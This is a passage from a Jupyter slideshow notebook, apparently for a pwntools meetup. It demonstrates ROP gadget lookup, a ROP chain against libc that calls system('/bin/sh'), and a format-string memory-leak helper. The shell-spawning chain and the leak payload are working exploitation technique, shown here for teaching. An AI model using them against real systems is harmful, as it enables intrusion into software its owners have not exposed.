   "execution_count": 42,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "Gadget(0x4013a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18)"
      ]
     },
     "execution_count": 42,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Lookup gadgets as attributes\n",
    "rop.rsi_r15"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# ROP"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {
    "slideshow": {
     "slide_type": "skip"
    }
   },
   "outputs": [],
   "source": [
    "libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 46,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[*] Loading gadgets for '/usr/lib/x86_64-linux-gnu/libc-2.31.so'\n",
      "0x0000:         0x4013a3 pop rdi; ret\n",
      "0x0008:            0x4d2 [arg0] rdi = 1234\n",
      "0x0010:          0x2601f pop rsi; ret\n",
      "0x0018:           0x162e [arg1] rsi = 5678\n",
      "0x0020:         0xaaaaaa\n",
      "0x0028:         0x4013a3 pop rdi; ret\n",
      "0x0030:         0x1b45bd [arg0] rdi = 1787325\n",
      "0x0038:          0x52290 system\n"
     ]
    }
   ],
   "source": [
    "rop = ROP([exe, libc])\n",
    "\n",
    "# manual call\n",
    "rop.call(0xaaaaaa, [1234, 5678])\n",
    "\n",
    "# shorthand\n",
    "rop.system(next(exe.libc.search(b'/bin/sh')))\n",
    "\n",
    "print(rop.dump())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Memory leaker\n",
    "\n",
    "```python\n",
    "pwnlib.memleak.MemLeak(f, search_range=20, reraise=True, relative=False)\n",
    "```\n",
    "\n",
    "- Caches leaked data\n",
    "- Tries surrounding address if leak failed"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "source": [
    "```python\n",
    "@MemLeak\n",
    "def leaker(addr):\n",
    "    to_leak = p64(addr)\n",
    "    if b'\\n' in to_leak:\n",
    "        return None\n",
    "    io.sendlineafter(b'> ', b'%08$7xAA' + to_leak)\n",
    "    return unhex(io.recvuntil(b'AA', drop=True))\n",
    "\n",
    "# leak from starting address\n",
    "leaker(0x4000102)\n",
    "# leak an address range\n",
    "leaker[0x4000102:0x4000112]\n",
    "# unpack right away\n",
    "leaker.u64(exe.got.puts)\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "![logo](./logo.png)\n",
    "\n",
    "# PWNing Meetup #2\n",
    "\n",
    "![logo](./pwntools_discord.png)"
   ]
  }
 ],
 "metadata": {
  "celltoolbar": "Slideshow",
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.10"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}